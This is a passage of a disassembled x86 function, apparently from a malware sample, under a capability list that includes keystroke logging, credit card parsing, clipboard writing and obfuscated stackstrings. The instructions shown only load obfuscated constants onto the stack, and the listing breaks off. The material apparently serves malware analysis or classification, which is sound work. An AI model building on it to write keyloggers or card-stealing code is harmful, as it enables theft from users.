Function at 0x402270
Capabilities:
Accept command line arguments
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Get common file path
Get file system object information
Get keyboard layout
Get session user name
Log keystrokes
Log keystrokes via polling
Parse credit card information
Parse pe header
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18b38
call fcn.00553f90
push esi
push edi
mov eax, 0x9a7
mov word [ebp - 0x14218], ax
mov byte [ebp - 0xb9a5], 8
mov dword [ebp - 0x187e8], 0x5ac55357
mov dword [ebp - 0x187dc], 0x494422da
mov dword [ebp - 0xb984], 0x65cd2202
mov dword [ebp - 0x141f8], 0x50b153bc
mov dword [ebp - 0x15e8], 0x9b1ee820
mov ecx, 0xa99
mov word [ebp - 0xd568], cx
mov dword [ebp - 0xa278], 0x3b7bcf3d
mov dword [ebp - 0xee50], 0x446ab23a
mov edx, 0xbe3
mov word [ebp - 0x17014], dx
mov dword [ebp - 0x8a80], 0x22d00e72
mov byte [ebp - 0x158c9], 0
mov eax, 0x6946
mov word [ebp - 0xee30], ax
mov dword [ebp - 0xee2c], 0x2fe91b2d
mov dword [ebp - 0x5d4c], 0x9a4772d
mov dword [ebp - 0x16fe4], 0x4c133f16
mov ecx, 0x7ce
mov word [ebp - 0x10ec4], cx
mov byte [ebp - 0x16fd1], 0x40
mov byte [ebp - 0xb92d], 0x10
mov dword [ebp - 0x12724], 0x69bb8aa9
mov dword [ebp - 0xeb2c], 0x67750191
mov byte [ebp - 0xa22e], 0x38
mov dword [ebp - 0x7394], 0xab7d2fd
mov dword [ebp - 0xd504], 0x68907879
mov dword [ebp - 0xd500], 0xdcf34fc3
mov edx, 0x3a9
mov word [ebp - 0x141c0], dx
mov dword [ebp - 0x2bf0], 0x1511b27
mov dword [ebp - 0x1586c], 0x7f1f00b8
mov dword [ebp - 0x18760], 0x274dce0c
mov byte [ebp - 0xb901], 0xf2
mov dword [ebp - 0xb8fc], 0x17582020
mov byte [ebp - 0x7345], 0xa1
mov dword [ebp - 0x16f74], 0x11d28a26
mov dword [ebp - 0x10e78], 0x382198d2
mov dword [ebp - 0x1581c], 0x28762013
mov byte [ebp - 0x10e49], 0x37
mov dword [ebp - 0x15814], 0x88256a8a
mov eax, 0xa5
mov word [ebp - 0x10e34], ax
mov ecx, 0x2cd1
mov word [ebp - 0x4504], cx
mov edx, 0x675
mov word [ebp - 0x5ccc], dx
mov eax, 0x244
mov word [ebp - 0x730c], ax
mov dword [ebp - 0x16f20], 0x5223a666
mov dword [ebp - 0x16f1c], 0xab40ea9
mov dword [ebp - 0x5cb8], 0x3c6bd2a2
mov dword [ebp - 0x5cb4], 0x6128bb75
mov dword [ebp - 0xb890], 0xf0f267fd
mov byte [ebp - 0xa1b5], 6
mov dword [ebp - 0x2b70], 0x2fdf8082
mov dword [ebp - 0xa1b4], 0x4e5e85a0
mov dword [ebp - 0x157e4], 0x3e4ee7d3
mov ecx, 0x742e
mov word [ebp - 0x72d8], cx
mov dword [ebp - 0x72d4], 0x7fc97679
mov dword [ebp - 0x14140], 0xecd7226
mov dword [ebp - 0x16ee8], 0x15143672
mov dword [ebp - 0x72c8], 0xdf71205e
mov dword [ebp - 0x12670], 0x4cec45a1
mov dword [ebp - 0x14dc], 0x3ac0f50e
mov dword [ebp - 0x157bc], 0x671985a
mov dword [ebp - 0x10dcc], 0x6ddd8fbe
mov dword [ebp - 0x5c84], 0x36391f1b
mov dword [ebp - 0x14128], 0x2d54fedc
mov dword [ebp - 0x2b18], 0x5d08fc0
mov byte [ebp - 0x14d1], 0x18
mov byte [ebp - 0xd3f9], 0xa0
mov dword [ebp - 0x5c74], 0xa51741ef
mov dword [ebp - 0x5c70], 0xfc4e5ee0
mov byte [ebp - 0x7295], 0x6d
mov dword [ebp - 0x10dbc], 0xb49bd059
mov dword [ebp - 0x8978], 0x17f3a58c
mov dword [ebp - 0x5c60], 0x5e7c1c0f
mov byte [ebp - 0x5c51], 0xc1
mov byte [ebp - 0x2ae1], 0xe
mov dword [ebp - 0x10d7c], 0x1ef02ba6
mov dword [ebp - 0x18660], 0x69830a18
mov dword [ebp - 0xea38], 0x5b6e3992
mov byte [ebp - 0x10d69], 0xc
mov dword [ebp - 0x444c], 0x6179930c
mov dword [ebp - 0x8934], 0x1c8e7cd5
mov dword [ebp - 0x4438], 0xca4ef3ae
mov edx, 0x2f6
mov word [ebp - 0xea24], dx
mov dword [ebp - 0xd390], 0x480d7fee
mov dword [ebp - 0x10d58], 0xd61189c8
mov dword [ebp - 0x1464], 0x6b608f0
mov eax, 0x624b
mov word [ebp - 0x8918], ax
mov dword [ebp - 0x18620], 0x6dd59483
mov ecx, 0x2ad
mov word [ebp - 0x1571c], cx
mov dword [ebp - 0x16e20], 0x4af2fc8a
mov dword [ebp - 0x125b8], 0x420a2862
mov dword [ebp - 0x8910], 0x15417ae5
mov edx, 0xc22
mov word [ebp - 0x15710], dx
mov byte [ebp - 0x18611], 0x18
mov dword [ebp - 0xb7e8], 0x3f8606af
mov eax, 0x748
mov word [ebp - 0x2a70], ax
mov dword [ebp - 0x16e04], 0x6fd3e2b7
mov dword [ebp - 0x10d20], 0x7d91b417
mov dword [ebp - 0x14090], 0x3df3c73a
mov dword [ebp - 0x71fc], 0x4241d6d4
mov ecx, 0x6a7
mov word [ebp - 0x43b4], cx
mov dword [ebp - 0x88bc], 0x404523de
mov edx, 0x7510
mov word [ebp - 0x5ba4], dx
mov dword [ebp - 0xe9b8], 0xdecd3c76
mov dword [ebp - 0x2a20], 0x5f5853d6
mov dword [ebp - 0x88ac], 0x584a3000
mov byte [ebp - 0xa0c1], 0xea
mov eax, 0x6ae
mov word [ebp - 0xa0c0], ax
mov dword [ebp - 0x16dbc], 0x6a24158b
mov dword [ebp - 0x16db4], 0x35b7824d
mov dword [ebp - 0x10ce0], 0x1f0a9ca2
mov byte [ebp - 0x29f9], 0xf1
mov byte [ebp - 0x437d], 0xd1
mov dword [ebp - 0x71c4], 0x86d6981c
mov dword [ebp - 0x13e4], 0x56796370
mov ecx, 0x610
mov word [ebp - 0x16d9c], cx
mov dword [ebp - 0xa0a8], 0xbf6f35e7
mov byte [ebp - 0x156a1], 0xa4
mov byte [ebp - 0x8879], 0x61
mov dword [ebp - 0x16d94], 0xa320fc0
mov dword [ebp - 0x18594], 0x3287d9e3
mov byte [ebp - 0xe96d], 0x3b
mov dword [ebp - 0xa07c], 0x43e76fe5
mov dword [ebp - 0x29dc], 0x72396308
mov edx, 0x961
mov word [ebp - 0x7190], dx
mov dword [ebp - 0xd2c4], 0x99b5023e
mov dword [ebp - 0x8854], 0x683cc7c8
mov eax, 0xa21
mov word [ebp - 0x718c], ax
mov dword [ebp - 0x1398], 0x73571ada
mov byte [ebp - 0x16d55], 0x6e
mov ecx, 0x6317
mov word [ebp - 0xb754], cx
mov edx, 0x28d1
mov word [ebp - 0x138c], dx
mov byte [ebp - 0xb74d], 0x75
mov dword [ebp - 0x1380], 0x7220a1ca
mov dword [ebp - 0x1246c], 0x77092395
mov dword [ebp - 0x10c78], 0x119e2432
mov byte [ebp - 0x7175], 0x79
mov eax, 0x8bf
mov word [ebp - 0x10c74], ax
mov dword [ebp - 0x29b4], 0x70d0d918
mov dword [ebp - 0x1358], 0x8c0fca
mov dword [ebp - 0x16d30], 0x3c4b34c0
mov dword [ebp - 0x8824], 0x4b938a2b
mov ecx, 0x167
mov word [ebp - 0x1243c], cx
mov byte [ebp - 0x7155], 0x1a
mov byte [ebp - 0x1315], 0x3d
mov dword [ebp - 0x13fc8], 0x745a60ec
mov dword [ebp - 0x1314], 0x38f1aeca
mov dword [ebp - 0x87f0], 0xd0ccc8fb
mov edx, 0x7872
mov word [ebp - 0x10c28], dx
mov dword [ebp - 0x18528], 0x5c034e82
mov byte [ebp - 0x1561d], 0x1d
mov dword [ebp - 0x7134], 0xd7e1b4aa
mov dword [ebp - 0x12ec], 0x2fbbefec
mov eax, 0x7e9b
mov word [ebp - 0x12e8], ax
mov ecx, 0x4a6
mov word [ebp - 0x10c04], cx
mov edx, 0x7b3
mov word [ebp - 0x7118], dx
mov dword [ebp - 0x15608], 0x5b50a2e
mov dword [ebp - 0x10bf8], 0x1c7f91cf
mov dword [ebp - 0x2948], 0x72499071
mov byte [ebp - 0x2941], 0x9a
mov dword [ebp - 0xb6a0], 0x1c3a0a40
mov dword [ebp - 0x428c], 0x42af58c8
mov dword [ebp - 0x155cc], 0x71448231
mov dword [ebp - 0x4268], 0x6f45a8ec
mov eax, 0x41f0
mov word [ebp - 0x70dc], ax
mov dword [ebp - 0x16c7c], 0xad55ea5
mov dword [ebp - 0xd20c], 0x52d8ac66
mov dword [ebp - 0x4254], 0x6e1097fe
mov dword [ebp - 0x9fac], 0xda4b213b
mov byte [ebp - 0x8751], 0x77
mov dword [ebp - 0xe884], 0x310e870d
mov byte [ebp - 0xd201], 0x84
mov dword [ebp - 0x5a44], 0x2a640aca
mov dword [ebp - 0x16c64], 0x545fc803
mov dword [ebp - 0x1294], 0x7484a96
mov dword [ebp - 0x128c], 0x5d6322c8
mov ecx, 0x496
mov word [ebp - 0x18488], cx
mov dword [ebp - 0x12370], 0xc37b2bde
mov dword [ebp - 0x18480], 0x717adb8d
mov edx, 0x685b
mov word [ebp - 0x28e8], dx
mov dword [ebp - 0x70ac], 0x612f29e7
mov dword [ebp - 0xd1dc], 0x2ef21ac1
mov dword [ebp - 0x155a0], 0x7e976fe5
mov eax, 0x957
mov word [ebp - 0x16c48], ax
mov dword [ebp - 0xb674], 0x1f0f47c5
mov dword [ebp - 0x13efc], 0x20f93dbd
mov dword [ebp - 0x16c3c], 0x379a2968
mov dword [ebp - 0x10b4c], 0x63c5f548
mov dword [ebp - 0x5a1c], 0x50cbceed
mov byte [ebp - 0x13ec9], 0x20
mov dword [ebp - 0x2880], 0x25c916bd
mov dword [ebp - 0x59f0], 0x7069d372
mov ecx, 0x1183
mov word [ebp - 0xe814], cx
mov byte [ebp - 0x59e1], 0x25
mov byte [ebp - 0x10b01], 0xfb
mov dword [ebp - 0x13eac], 0x1029d736
mov dword [ebp - 0x86c8], 0xe62eeb8c
mov dword [ebp - 0xe7dc], 0xa64753aa
mov byte [ebp - 0x183f9], 0xaa
mov edx, 0x351
mov word [ebp - 0x13e8c], dx
mov dword [ebp - 0x59b4], 0x3f81c101
mov byte [ebp - 0x16b8d], 0x47
mov dword [ebp - 0x282c], 0x6584cad6
mov dword [ebp - 0xd15c], 0x1a26c464
mov dword [ebp - 0x183c8], 0x915cf9af
mov dword [ebp - 0x5990], 0x2eaeb86
mov byte [ebp - 0x6fe1], 0x38
mov dword [ebp - 0x12248], 0x527aa7a6
mov eax, 0xaf0
mov word [ebp - 0x11c0], ax
mov dword [ebp - 0x1837c], 0x29515acd
mov byte [ebp - 0xb57d], 0x91
mov dword [ebp - 0x11b4], 0xeb6ee089
mov dword [ebp - 0xb570], 0x4f0107a0
mov ecx, 0x238
mov word [ebp - 0x6fac], cx
mov dword [ebp - 0x8658], 0x1f2b9409
mov edx, 0x137
mov word [ebp - 0x12208], dx
mov byte [ebp - 0x10a51], 0x79
mov dword [ebp - 0x27b8], 0x30ccdc5f
mov dword [ebp - 0x15484], 0x62556265
mov eax, 0x717
mov word [ebp - 0xd0a8], ax
mov dword [ebp - 0x9e6c], 0x35cf75a1
mov dword [ebp - 0x121d0], 0x6dd3df48
mov dword [ebp - 0x40fc], 0xb7544182
mov ecx, 0x718f
mov word [ebp - 0x6f5c], cx
mov edx, 0xd9d
mov word [ebp - 0x9e64], dx
mov byte [ebp - 0x1542d], 0x22
mov eax, 0x784
mov word [ebp - 0x58c4], ax
mov byte [ebp - 0x1139], 0xd0
mov dword [ebp - 0x182f4], 0xb422ae58
mov dword [ebp - 0xe6c8], 0xd1e44b92
mov ecx, 0x359c
mov word [ebp - 0x58a0], cx
mov dword [ebp - 0x6f30], 0xad955f9e
mov edx, 0x17b6
mov word [ebp - 0x109c4], dx
mov dword [ebp - 0x273c], 0x23573849
mov eax, 0x1e81
mov word [ebp - 0xb4a8], ax
mov dword [ebp - 0x10fc], 0x91e8251e
mov dword [ebp - 0x40bc], 0x79671ca
mov ecx, 0xddb
mov word [ebp - 0x109b8], cx
mov byte [ebp - 0x10e1], 0x17
mov dword [ebp - 0x85b8], 0x39771520
mov dword [ebp - 0x12158], 0xa15fda8
mov dword [ebp - 0x10968], 0x1ef23d6d
mov dword [ebp - 0x6ef0], 0x1e6c151f
mov dword [ebp - 0x583c], 0x43307cda
mov dword [ebp - 0xb44c], 0xeef10319
mov edx, 0xe3a
mov word [ebp - 0x16a70], dx
mov dword [ebp - 0x26d0], 0xcd2b718
mov eax, 0x2727
mov word [ebp - 0x9dc4], ax
mov ecx, 0x76e9
mov word [ebp - 0x153d8], cx
mov dword [ebp - 0xe660], 0x1d6ad801
mov byte [ebp - 0xb429], 0x7c
mov dword [ebp - 0x13d08], 0x4d3b2529
mov dword [ebp - 0x269c], 0x2e74e8c5
mov dword [ebp - 0x120f8], 0x70db0613
mov byte [ebp - 0x405d], 0xf9
mov dword [ebp - 0xe638], 0xa069d9e
mov edx, 0xc8a
mov word [ebp - 0x120e8], dx
mov dword [ebp - 0x16a34], 0x53b47f2c
mov eax, 0x92f
mov word [ebp - 0x13cdc], ax
mov ecx, 0xf2c
mov word [ebp - 0x403c], cx
mov dword [ebp - 0xcfb0], 0x3f8b9b7a
mov dword [ebp - 0x13ccc], 0xaa31ebc
mov dword [ebp - 0x1823c], 0x2ed42945
mov byte [ebp - 0x4031], 0x33
mov dword [ebp - 0x6e98], 0x5a30f42c
mov dword [ebp - 0x108e0], 0x7d6a28d4
mov byte [ebp - 0x6e91], 0x53
mov edx, 0xf9b
mov word [ebp - 0x57cc], dx
mov byte [ebp - 0x6e85], 0x3c
mov dword [ebp - 0x8554], 0x33558091
mov eax, 0xa2e
mov word [ebp - 0x2660], ax
mov dword [ebp - 0x9d54], 0x39fa2ac4
mov byte [ebp - 0xb3c5], 0x62
mov ecx, 0x6c1
mov word [ebp - 0x57bc], cx
mov edx, 0x28a
mov word [ebp - 0x120a4], dx
mov eax, 0xdf4
mov word [ebp - 0x9d38], ax
mov byte [ebp - 0x850d], 0x50
mov ecx, 0x294d
mov word [ebp - 0x169f4], cx
mov dword [ebp - 0x13c54], 0x1d4e602a
mov byte [ebp - 0xcf55], 0xa1
mov dword [ebp - 0x12084], 0x16b8a1d5
mov dword [ebp - 0x84fc], 0x7a561362
mov byte [ebp - 0x2621], 0x68
mov dword [ebp - 0x181ec], 0xac14bb31
mov dword [ebp - 0x9d04], 0x4032975b
mov edx, 0x303
mov word [ebp - 0x103c], dx
mov dword [ebp - 0x169d8], 0x22f45327
mov dword [ebp - 0x9cf4], 0x94146275
mov dword [ebp - 0x84d4], 0x6a139f34
mov dword [ebp - 0x100c], 0x960204ed
mov eax, 0x5da5
mov word [ebp - 0x1008], ax
mov ecx, 0x52b
mov word [ebp - 0x5764], cx
mov edx, 0x485
mov word [ebp - 0xb368], dx
mov dword [ebp - 0x15318], 0x2139fc28
mov dword [ebp - 0xe560], 0x72a9eec6
mov eax, 0xcc2
mov word [ebp - 0xffc], ax
mov dword [ebp - 0x18198], 0xd7f360
mov dword [ebp - 0x13c04], 0x1cd5c9f2
mov ecx, 0x625
mov word [ebp - 0xb340], cx
mov dword [ebp - 0x25d4], 0x601b590c
mov dword [ebp - 0xfe4], 0x794a99d
mov edx, 0x51c
mov word [ebp - 0x6dfc], dx
mov dword [ebp - 0x3f8c], 0x63680587
mov dword [ebp - 0x9ca0], 0x28410f0f
mov dword [ebp - 0x152d0], 0x42bfba9
mov dword [ebp - 0xe530], 0x1bafa867
mov dword [ebp - 0x25bc], 0x356b0215
mov eax, 0x792
mov word [ebp - 0x13bc0], ax
mov dword [ebp - 0x152b0], 0xf557da5c
mov byte [ebp - 0x18151], 0x68
mov dword [ebp - 0x152a0], 0x707d4957
mov dword [ebp - 0x6dac], 0xf708e769
mov ecx, 0x72ef
mov word [ebp - 0x8474], cx
mov byte [ebp - 0xe50d], 6
mov byte [ebp - 0x9c85], 0xf4
mov dword [ebp - 0x56d8], 0xe55bd53
mov dword [ebp - 0x8464], 0x5fae1e4a
mov dword [ebp - 0xe50c], 0x542533f
mov edx, 0x4ad
mov word [ebp - 0x15294], dx
mov byte [ebp - 0xe501], 0xfc
mov dword [ebp - 0x3f28], 0x1bccad7d
mov eax, 0x254d
mov word [ebp - 0x15284], ax
mov ecx, 0x1927
mov word [ebp - 0xb2c0], cx
mov edx, 0xc00
mov word [ebp - 0x56b8], dx
mov byte [ebp - 0x9c6d], 0xea
mov dword [ebp - 0x16940], 0x7f934382
mov dword [ebp - 0x10720], 0x3266242e
mov dword [ebp - 0x11fa4], 0x3fdadbde
mov eax, 0xaff
mov word [ebp - 0x11fa0], ax
mov dword [ebp - 0x2590], 0xb7b41f3c
mov ecx, 0x7e75
mov word [ebp - 0x6d5c], cx
mov dword [ebp - 0xce48], 0x1eb7528
mov dword [ebp - 0x13ad0], 0x3028e414
mov byte [ebp - 0x9c49], 0x31
mov dword [ebp - 0x6d54], 0x4360adf5
mov edx, 0x90b
mov word [ebp - 0x3ecc], dx
mov dword [ebp - 0xe4b0], 0x22835e
mov eax, 0x3a4
mov word [ebp - 0xf78], ax
mov byte [ebp - 0x6d49], 0x1e
mov byte [ebp - 0x15241], 0x50
mov ecx, 0x8d2
mov word [ebp - 0x15240], cx
mov dword [ebp - 0x3ea0], 0xa48785ce
mov dword [ebp - 0x3e9c], 0x3e00ea84
mov dword [ebp - 0x106c4], 0xfcde0712
mov dword [ebp - 0x9c28], 0xe965e75e
mov edx, 0xa12
mov word [ebp - 0xe494], dx
mov dword [ebp - 0x8404], 0x71b1c428
mov eax, 0x510
mov word [ebp - 0x3e94], ax
mov byte [ebp - 0x168dd], 0x70
mov dword [ebp - 0xf38], 0x22345ef7
mov ecx, 0x1be
mov word [ebp - 0x6d20], cx
mov byte [ebp - 0xcdfd], 0x16
mov dword [ebp - 0x566c], 0xa366390f
mov dword [ebp - 0x15218], 0x1c78ce32
mov dword [ebp - 0xe470], 0x2345cc0d
mov dword [ebp - 0x5660], 0x23eba1d1
mov dword [ebp - 0x11f0c], 0x1b488d3b
mov dword [ebp - 0xcdf4], 0xf8f8437
mov dword [ebp - 0x5644], 0x829bb612
mov edx, 0x7d1f
mov word [ebp - 0x6cec], dx
mov byte [ebp - 0x3e59], 0x46
mov eax, 0xf0c
mov word [ebp - 0xeec], ax
mov dword [ebp - 0x10684], 0x7073bfb5
mov dword [ebp - 0x11ef4], 0x27a6cf36
mov ecx, 0x24
mov word [ebp - 0x562c], cx
mov dword [ebp - 0xee8], 0x4b1e29b1
mov byte [ebp - 0x10679], 0xc9
mov byte [ebp - 0x9bc9], 0x86
mov dword [ebp - 0xee0], 0x4a0597c2
mov dword [ebp - 0x9bc8], 0xebaa089b
mov edx, 0x50e
mov word [ebp - 0x151f0], dx
mov byte [ebp - 0x9bbd], 0x44
mov dword [ebp - 0x561c], 0x77df5e6
mov dword [ebp - 0xe438], 0x31f73e60
mov dword [ebp - 0xb1e8], 0x7e14f0b2
mov eax, 0x107
mov word [ebp - 0x24e4], ax
mov dword [ebp - 0x11edc], 0x1ce85e56
mov dword [ebp - 0x55e0], 0x640f0743
mov dword [ebp - 0x151b0], 0x22c7d89
mov ecx, 0x46bb
mov word [ebp - 0x9b94], cx
mov edx, 0x84c
mov word [ebp - 0xeac], dx
mov dword [ebp - 0x9b88], 0x37f82095
mov dword [ebp - 0x55c0], 0x7453683a
mov byte [ebp - 0x15189], 0x3c
mov dword [ebp - 0xb190], 0x9bdd07bb
mov dword [ebp - 0xe88], 0x5838cd31
mov eax, 0x504
mov word [ebp - 0xe84], ax
mov dword [ebp - 0xe3e0], 0x4b3b5391
mov dword [ebp - 0x15178], 0xc7e10e7f
mov dword [ebp - 0x2468], 0x7aaf90a8
mov ecx, 0x10df
mov word [ebp - 0xb168], cx
mov dword [ebp - 0x11e78], 0x5ae77d3b
mov byte [ebp - 0x1682d], 0x77
mov edx, 0x2f8
mov word [ebp - 0x831c], dx
mov eax, 0x8ea
mov word [ebp - 0xb15c], ax
mov byte [ebp - 0x105e9], 0xb7
mov ecx, 0x3aa7
mov word [ebp - 0x139c4], cx
mov dword [ebp - 0x1680c], 0xe141a27
mov dword [ebp - 0x3da8], 0xffcd0c1d
mov edx, 0xfa1
mov word [ebp - 0x15128], dx
mov dword [ebp - 0x2438], 0x7b3fd52e
mov dword [ebp - 0x11e20], 0x44e39c49
mov eax, 0x2ddd
mov word [ebp - 0x6c28], ax
mov byte [ebp - 0x3d69], 0x7e
mov byte [ebp - 0x9add], 1
mov dword [ebp - 0xb120], 0x110cc963
mov ecx, 0xebf
mov word [ebp - 0x150dc], cx
mov dword [ebp - 0x23fc], 0x3ea779f8
mov dword [ebp - 0xe35c], 0x13dee08f
mov dword [ebp - 0x23f4], 0x525a254d
mov edx, 0x7631
mov word [ebp - 0x6c04], dx
mov dword [ebp - 0xe348], 0xff1585bf
mov dword [ebp - 0x17fb0], 0x6b04cbff
mov dword [ebp - 0xccbc], 0x6c5ba162
mov dword [ebp - 0x6bf4], 0x6f847e56
mov dword [ebp - 0xe340], 0x9273abc4
mov byte [ebp - 0x3d45], 0xd8
mov dword [ebp - 0x3d38], 0x57b4d137
mov byte [ebp - 0xe331], 0x4f
mov dword [ebp - 0x82b4], 0x5a5116b2
mov dword [ebp - 0x9a84], 0x5251abd8
mov dword [ebp - 0xdc8], 0x4ceb729c
mov dword [ebp - 0x54e0], 0x9b8c3cf8
mov eax, 0x321
mov word [ebp - 0xcc84], ax
mov dword [ebp - 0x17f74], 0xa734ab8
mov dword [ebp - 0x54cc], 0x7c7a0912
mov dword [ebp - 0x54c8], 0x520c2602
mov dword [ebp - 0x11db8], 0xaf18f802
mov byte [ebp - 0xd9d], 0xe7
mov dword [ebp - 0xb0cc], 0x493fbbca
mov dword [ebp - 0x13920], 0x26a9d22b
mov dword [ebp - 0x2384], 0x7640d4f9
mov dword [ebp - 0xe2d4], 0x64427f76
mov dword [ebp - 0xb0b4], 0xbc28506
mov ecx, 0x444
mov word [ebp - 0x827c], cx
mov dword [ebp - 0xb0a4], 0x7766418
mov byte [ebp - 0xd76], 0x92
mov dword [ebp - 0xcc3c], 0x3b7af115
mov byte [ebp - 0x3c85], 0x73
mov edx, 0x600d
mov word [ebp - 0x3c78], dx
mov eax, 0x641
mov word [ebp - 0xcc20], ax
mov dword [ebp - 0x1674c], 0xf71ef9d2
mov ecx, 0x4ba
mov word [ebp - 0xb060], cx
mov byte [ebp - 0x6b59], 0xb8
mov edx, 0x177
mov word [ebp - 0x9a08], dx
mov dword [ebp - 0x16728], 0xccc1d70
mov byte [ebp - 0xb059], 0x3c
mov dword [ebp - 0x104c4], 0x67429101
mov byte [ebp - 0x11d6d], pe_nt_image_headers32
mov dword [ebp - 0x16720], 0x5fae1f4b
mov dword [ebp - 0xb044], 0x1bda6e2b
mov eax, 0x3ef
mov word [ebp - 0xcbfc], ax
mov dword [ebp - 0x5434], 0xb80ef916
mov ecx, 0x7ff
mov word [ebp - 0xe254], cx
mov byte [ebp - 0xe249], 0x41
mov dword [ebp - 0x17eb0], 0x437c4dc
mov dword [ebp - 0x99b4], 0x7d56df02
mov byte [ebp - 0x6b39], 0x39
mov byte [ebp - 0x22fd], 0x2c
mov dword [ebp - 0xd10], 0x339822b3
mov byte [ebp - 0x6b2d], 0xd9
mov dword [ebp - 0x17e98], 0x1bcb4ab0
mov edx, 0x270
mov word [ebp - 0x22e4], dx
mov dword [ebp - 0x13890], 0x241da8f5
mov dword [ebp - 0x9988], 0x3dfde40c
mov dword [ebp - 0x1046c], 0xe337b9d9
mov byte [ebp - 0x1044d], 0x77
mov eax, 0xa24
mov word [ebp - 0xe208], ax
mov ecx, 0x3429
mov word [ebp - 0x166a8], cx
mov dword [ebp - 0xcd0], 0xd9bb7eeb
mov byte [ebp - 0x53f1], 0x52
mov dword [ebp - 0x11cd0], 0xacda5d13
mov dword [ebp - 0x1043c], 0x3674af7c
mov byte [ebp - 0x3b99], 0x5c
mov edx, 0xcf9
mov word [ebp - 0xcb90], dx
mov byte [ebp - 0x16681], 0x2a
mov byte [ebp - 0xc8d], 0x3e
mov dword [ebp - 0xe1b4], 0x94bf6069
mov eax, 0xc90
mov word [ebp - 0x2284], ax
mov dword [ebp - 0xc74], 0xd18fc1a8
mov ecx, 0x571
mov word [ebp - 0xc6c], cx
mov byte [ebp - 0x2271], 0x2b
mov dword [ebp - 0x11c7c], 0x8d88f01a
mov dword [ebp - 0x13818], 0x4b8e1f94
mov byte [ebp - 0x8163], 0x81
mov dword [ebp - 0x11c74], 0x3ae40705
mov dword [ebp - 0xcb54], 0x767476b3
mov dword [ebp - 0x137f8], 0x7d2ce7dc
mov dword [ebp - 0x103d4], 0xf7eb3107
mov dword [ebp - 0x11c64], 0x200d0cc1
mov dword [ebp - 0x3b50], 0x796fcd67
mov dword [ebp - 0xc28], 0x4dfac50a
mov dword [ebp - 0xaf64], 0xa7e676a
mov dword [ebp - 0xaf54], 0x25ba12ea
mov edx, 0x49
mov word [ebp - 0x8120], dx
mov byte [ebp - 0x8119], 0x14
mov dword [ebp - 0xe158], 0x32ef3f19
mov dword [ebp - 0x16620], 0x40335c0e
mov eax, 0x781d
mov word [ebp - 0x14ee4], ax
mov byte [ebp - 0xaf31], 0x40
mov byte [ebp - 0xcb0d], 0x6f
mov dword [ebp - 0x2208], 0x463fad4f
mov dword [ebp - 0x6a40], 0x51abfeab
mov ecx, 0xbdd
mov word [ebp - 0x165f0], cx
mov edx, 0x4363
mov word [ebp - 0x137a4], dx
mov dword [ebp - 0x1037c], 0x26dac72e
mov dword [ebp - 0xcad8], 0x30b436e6
mov byte [ebp - 0x98c1], 0x34
mov dword [ebp - 0x3ac4], 0x25d5bf38
mov dword [ebp - 0x69fc], 0x488db8b8
mov dword [ebp - 0x80ac], 0x484c1603
mov dword [ebp - 0x69dc], 0xd78420b
mov byte [ebp - 0x69d5], 0x60
mov eax, 0x733
mov word [ebp - 0xaecc], ax
mov dword [ebp - 0x17d58], 0x37c0a460
mov dword [ebp - 0x14e88], 0x3c7bb36f
mov dword [ebp - 0xb68], 0x7c6e9adc
mov dword [ebp - 0x9888], 0x50316216
mov dword [ebp - 0xca80], 0xfc3aba29
mov byte [ebp - 0x16571], 0xe0
mov ecx, 0x5ec
mov word [ebp - 0x8078], cx
mov dword [ebp - 0xe0b4], 0xf0aafd98
mov byte [ebp - 0xae89], 0x4a
mov dword [ebp - 0xca64], 0x29f983b3
mov edx, 0xf26
mov word [ebp - 0x14e64], dx
mov eax, 0xd04
mov word [ebp - 0x8058], ax
mov dword [ebp - 0x11b60], 0xd771e34e
mov dword [ebp - 0xae74], 0x6fb682d3
mov byte [ebp - 0x9865], 0x18
mov ecx, 0x44f
mov word [ebp - 0x2160], cx
mov dword [ebp - 0x2154], 0x60be03b0
mov byte [ebp - 0xae59], 0x4c
mov dword [ebp - 0x14e28], 0x57a5e622
mov byte [ebp - 0x51f5], 0x5f
mov edx, 0xb76
mov word [ebp - 0x6964], dx
mov dword [ebp - 0x6954], 0xae0230f8
mov dword [ebp - 0xe074], 0xc564845
mov dword [ebp - 0x17cd4], 0x9cadf881
mov dword [ebp - 0x8014], 0x789dffa5
mov eax, 0x12d9
mov word [ebp - 0xca2c], ax
mov dword [ebp - 0xae40], 0x7863e31b
mov dword [ebp - 0x6940], 0x1ba3241b
mov dword [ebp - 0xb08], 0x2a79059e
mov dword [ebp - 0xe050], 0x42c456d7
mov byte [ebp - 0x6931], 0xb9
mov dword [ebp - 0x692c], 0x7d0134d6
mov ecx, 0x285
mov word [ebp - 0x17ca0], cx
mov dword [ebp - 0x691c], 0xff756785
mov dword [ebp - 0x164f8], 0xab6d1ad
mov dword [ebp - 0x17c90], 0x19fe7d9a
mov dword [ebp - 0x136c4], 0xeb25fa5
mov dword [ebp - 0xdff8], 0x25502af0
mov dword [ebp - 0xdff0], 0x2c921bbd
mov edx, 0x4c6
mov word [ebp - 0x20f0], dx
mov dword [ebp - 0x13690], 0x219af6d1
mov byte [ebp - 0x39d5], 8
mov byte [ebp - 0x1023d], 0x33
mov eax, 0xf04
mov word [ebp - 0x11acc], ax
mov dword [ebp - 0x164a0], 0xbefade95
mov ecx, 0x529
mov word [ebp - 0x7fd4], cx
mov dword [ebp - 0x1366c], 0x2e75be14
mov edx, 0x7fc3
mov word [ebp - 0x519c], dx
mov dword [ebp - 0xdfb8], 0x397c65e8
mov eax, 0x1db
mov word [ebp - 0x7fc8], ax
mov byte [ebp - 0x14d49], 0x9c
mov dword [ebp - 0x5190], 0x417a33af
mov dword [ebp - 0xc98c], 0x7a440c2f
mov dword [ebp - 0x39ac], 0x2afd62a8
mov dword [ebp - 0x397c], 0x132c00c1
mov dword [ebp - 0xa64], 0xabb4e8bc
mov byte [ebp - 0x5145], 0x34
mov byte [ebp - 0x16461], 0x94
mov dword [ebp - 0x13610], 0x2e5aaf79
mov dword [ebp - 0x513c], 0x7bbd4b8a
mov dword [ebp - 0xdf70], 0x9bbf43fd
mov dword [ebp - 0x394c], 0x148e652b
mov dword [ebp - 0x11a4c], 0x3744c87b
mov dword [ebp - 0x16434], 0x777d46e
mov dword [ebp - 0xa38], 0xd1da8df3
mov dword [ebp - 0x5118], 0x3ce5d378
mov byte [ebp - 0x685d], 7
mov dword [ebp - 0x7f60], 0x55a9327d
mov dword [ebp - 0x135dc], 0x3942c63e
mov ecx, 0x3f66
mov word [ebp - 0x101c8], cx
mov edx, 0x59c
mov word [ebp - 0x2050], dx
